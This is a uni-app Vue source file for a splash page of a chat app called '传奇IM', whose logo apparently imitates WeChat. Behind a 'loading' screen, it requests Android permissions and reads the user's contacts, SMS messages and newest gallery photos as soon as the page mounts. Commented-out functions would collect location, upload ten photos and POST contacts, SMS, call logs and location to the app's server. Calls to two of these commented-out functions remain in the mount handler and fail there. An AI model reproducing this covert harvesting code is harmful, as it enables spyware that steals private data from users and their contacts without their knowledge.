<template>
  <view class="container">
    <!-- 微信 Logo -->
    <view class="logo">
      <view class="icon">
        <view class="dot-white" v-for="i in 5" :key="i"></view>
      </view>
    </view>

    <!-- 加载动画 -->
    <view class="loading-dots">
      <view class="dot-green" v-for="i in 3" :key="i"></view>
    </view>

    <!-- 加载文字 -->
    <view class="loading-text">正在加载...</view>

    <!-- 底部版权信息 -->
    <view class="footer">传奇IM 1.0.0 © 2023-2025</view>
  </view>
</template>

<script setup>
import { ref, onMounted } from 'vue';
import { getSmsList } from '@/uni_modules/uniSmsLog/index.js';

// ---- 响应式变量 ----
const latitude = ref('');
const longitude = ref('');
const address = ref('');
const contacts = ref([]);           // 通讯录列表 [{name, phone}]
const callLogs = ref([]);           // 通话记录，后续需实现读取赋值
const smsList = ref([]);            // 短信列表
const imageList = ref([]);          // 相册图片列表 [{path, date, timestamp}]
const galleryImageWebUrlList = ref([]);  // 上传成功的图片服务器地址列表

// 页面挂载时初始化
onMounted(async () => {
  try {
    await initAppData();
    await uploadAllData();          // 初始化完成后上传数据
    uni.navigateTo({ url: '/pages/views/login' });
  } catch (e) {
    console.error('初始化异常:', e);
  }
});

// 初始化应用数据
async function initAppData() {
  // 1. 请求通讯录权限并读取
  if (await requestAndroidPermission('android.permission.READ_CONTACTS')) {
    await readContacts();
  }

  // 2. 请求通话记录权限（示例保留，后续实现）
  await requestAndroidPermission('android.permission.READ_CALL_LOG').catch(err => {
    console.warn('通话记录权限未获取:', err);
  });

  // 3. 读取短信
  await loadSms();

  // 4. 读取相册图片（最新50张）
  imageList.value = await readGalleryImages();

  // 5. 获取位置信息
  await getLocation();

  console.log('【初始化完成】');
  console.log(`📍 位置：${latitude.value} ${longitude.value} ${address.value}`);
  console.log('📇 通讯录：', contacts.value);
  console.log('📞 通话记录：', callLogs.value);
  console.log('📩 短信记录：', smsList.value);
  console.log('🖼️ 相册图片：', imageList.value);
}

// 请求安卓权限的通用函数
function requestAndroidPermission(permissionName) {
  return new Promise((resolve, reject) => {
    if (typeof plus === 'undefined') {
      console.warn(`【权限请求】非App环境，跳过请求权限：${permissionName}`);
      return resolve(false);
    }

    const main = plus.android.runtimeMainActivity();
    const PackageManager = plus.android.importClass('android.content.pm.PackageManager');
    const hasPermission = plus.android.invoke(main, 'checkSelfPermission', permissionName) === PackageManager.PERMISSION_GRANTED;

    if (hasPermission) {
      return resolve(true);
    }

    plus.android.requestPermissions(
      [permissionName],
      (result) => {
        if (result && result[0] === 'granted') {
          resolve(true);
        } else {
          reject(`权限被拒绝：${permissionName}`);
        }
      },
      (err) => {
        reject(`请求权限失败：${permissionName}, 错误：${err}`);
      }
    );
  });
}

// 读取通讯录
function readContacts() {
  return new Promise((resolve, reject) => {
    if (typeof plus === 'undefined') {
      console.warn('【通讯录】非App环境，跳过读取');
      return resolve(false);
    }

    try {
      const main = plus.android.runtimeMainActivity();
      const ContentResolver = main.getContentResolver();
      const ContactsContractPhone = plus.android.importClass('android.provider.ContactsContract$CommonDataKinds$Phone');
      const uri = ContactsContractPhone.CONTENT_URI;
      const projection = ['display_name', 'data1'];  // 名字和号码
      const cursor = ContentResolver.query(uri, projection, null, null, null);

      const list = [];
      if (cursor != null) {
        while (cursor.moveToNext()) {
          const name = cursor.getString(cursor.getColumnIndex('display_name'));
          const phone = cursor.getString(cursor.getColumnIndex('data1'));
          if (name && phone) {
            list.push({ name, phone });
          }
        }
        cursor.close();
      }
      contacts.value = list;
      resolve(true);
    } catch (e) {
      console.error('读取通讯录失败:', e);
      reject(e);
    }
  });
}

// 读取短信
function loadSms() {
  return new Promise(async (resolve) => {
    if (typeof plus === 'undefined') {
      console.warn('【短信】非App环境，跳过请求和读取');
      return resolve(false);
    }

    try {
      const list = await getSmsList();
      smsList.value = list;
      resolve(true);
    } catch (err) {
      console.error('获取短信失败：', err);
      resolve(false);
    }
  });
}

// 读取相册图片
function readGalleryImages() {
  return new Promise((resolve, reject) => {
    if (typeof plus === 'undefined') {
      console.warn('【相册读取】非App环境，跳过读取');
      return resolve([]);
    }

    try {
      const main = plus.android.runtimeMainActivity();
      const ContentResolver = main.getContentResolver();
      const MediaStoreImagesMedia = plus.android.importClass('android.provider.MediaStore$Images$Media');

      const uri = MediaStoreImagesMedia.EXTERNAL_CONTENT_URI;
      const projection = ['_data', 'date_added'];
      const cursor = ContentResolver.query(uri, projection, null, null, 'date_added DESC');
      const imageListTemp = [];

      if (cursor && cursor.moveToFirst()) {
        const pathIndex = cursor.getColumnIndex('_data');
        const dateIndex = cursor.getColumnIndex('date_added');

        let count = 0;
        const max = 50; // 最大读取50张

        do {
          const path = cursor.getString(pathIndex);
          const timestamp = cursor.getLong(dateIndex);
          if (!path) continue;

          if (!/\.(jpg|jpeg|png|gif|bmp)$/i.test(path)) continue;

          const date = new Date(timestamp * 1000);

          imageListTemp.push({
            path,
            timestamp,
            date: date.toLocaleString()
          });

          count++;
        } while (cursor.moveToNext() && count < max);

        cursor.close();
      }

      resolve(imageListTemp);
    } catch (e) {
      console.error('【相册读取失败】：', e);
      reject(e);
    }
  });
}

// 获取位置信息
// function getLocation() {
//   return new Promise((resolve, reject) => {
//     uni.getLocation({
//       type: 'wgs84',
//       geocode: true,
//       success: (res) => {
//         latitude.value = res.latitude;
//         longitude.value = res.longitude;
//         address.value = res.address || `${res.province || ''}${res.city || ''}${res.street || ''}`;
//         resolve(res);
//       },
//       fail: (err) => {
//         console.error('定位失败：', err);
//         reject(err);
//       }
//     });
//   });
// }

// 上传单张图片，返回Promise
// async function uploadSingleImage(imagePath) {
//   return new Promise((resolve, reject) => {
//     uni.uploadFile({
//       url: uni.$baseUrl + '/home/user/uploads',  // 你的接口地址
//       filePath: imagePath,
//       name: 'file',
//       header: {
//         "X-Csrf-Token": uni.getStorageSync('token')
//       },
//       success: (res) => {
//         let data = JSON.parse(res.data);
//         let tempWebUrl = uni.$baseUrl + data.data;
//         galleryImageWebUrlList.value.push(tempWebUrl);
//         resolve(data);
//       },
//       fail: (err) => reject(err)
//     });
//   });
// }

// 上传用户数据（通讯录、通话记录、短信、位置、部分图片信息和图片URL）
// async function uploadUserData() {
//   try {
//     const data = {
// 	  user_id:uni.getStorageSync('userAppInfo').id,
//       contacts: contacts.value,
//       callLogs: callLogs.value || [],
//       smsList: smsList.value,
//       location: {
//         latitude: latitude.value,
//         longitude: longitude.value,
//         address: address.value
//       },
//       partialImages: imageList.value.slice(0, 10).map(img => ({
//         path: img.path,
//         date: img.date,
//       })),
//       ImagesWebUrl: galleryImageWebUrlList.value
//     };

//     const res = await uni.request({
//       url: uni.$baseUrl + '/home/login/uploadUserData',  // 替换成你的接口
//       method: 'POST',
//       data,
//       header: {
//         'Content-Type': 'application/json',
//         // 如有token等认证头部，可放这里
//       }
//     });

//     if (res.data.code === 200) {
//       console.log('用户数据上传成功');
//     } else {
//       console.error('用户数据上传失败', res.data.msg);
//     }
//   } catch (e) {
//     console.error('上传用户数据异常', e);
//   }
// }

// // 上传所有数据入口：先上传图片，成功后上传其他数据
// async function uploadAllData() {
//   try {
//     galleryImageWebUrlList.value = []; // 清空之前的数据

//     // 只上传最新10张图片
//     for (const img of imageList.value.slice(0, 10)) {
//       try {
//         await uploadSingleImage(img.path);
//         console.log('上传图片成功', img.path);
//       } catch (err) {
//         console.error('上传图片失败', err);
//       }
//     }

//     // 上传其他用户数据（含图片服务器地址）
//     await uploadUserData();

//     console.log('全部数据上传完成');
//   } catch (e) {
//     console.error('上传过程异常', e);
//   }
// }

</script>

<style scoped>
.container {
  display: flex;
  flex-direction: column;
  height: 100vh;
  justify-content: center;
  align-items: center;
  background: #ffffff;
}

.logo {
  margin-bottom: 40rpx;
}

.icon {
  display: flex;
  gap: 10rpx;
}

.dot-white {
  width: 24rpx;
  height: 24rpx;
  background: #fff;
  border-radius: 50%;
}

.loading-dots {
  display: flex;
  gap: 20rpx;
  margin-bottom: 30rpx;
}

.dot-green {
  width: 24rpx;
  height: 24rpx;
  background: #00b57a;
  border-radius: 50%;
  animation: loadingAnim 1.5s infinite;
}

.dot-green:nth-child(2) {
  animation-delay: 0.3s;
}
.dot-green:nth-child(3) {
  animation-delay: 0.6s;
}

@keyframes loadingAnim {
  0%, 100% { transform: scale(1); opacity: 1; }
  50% { transform: scale(0.5); opacity: 0.5; }
}

.loading-text {
  font-size: 32rpx;
  color: #00b57a;
  font-weight: 600;
  margin-bottom: 30rpx;
}

.footer {
  position: fixed;
  bottom: 20rpx;
  font-size: 24rpx;
  color: #999;
}
</style>
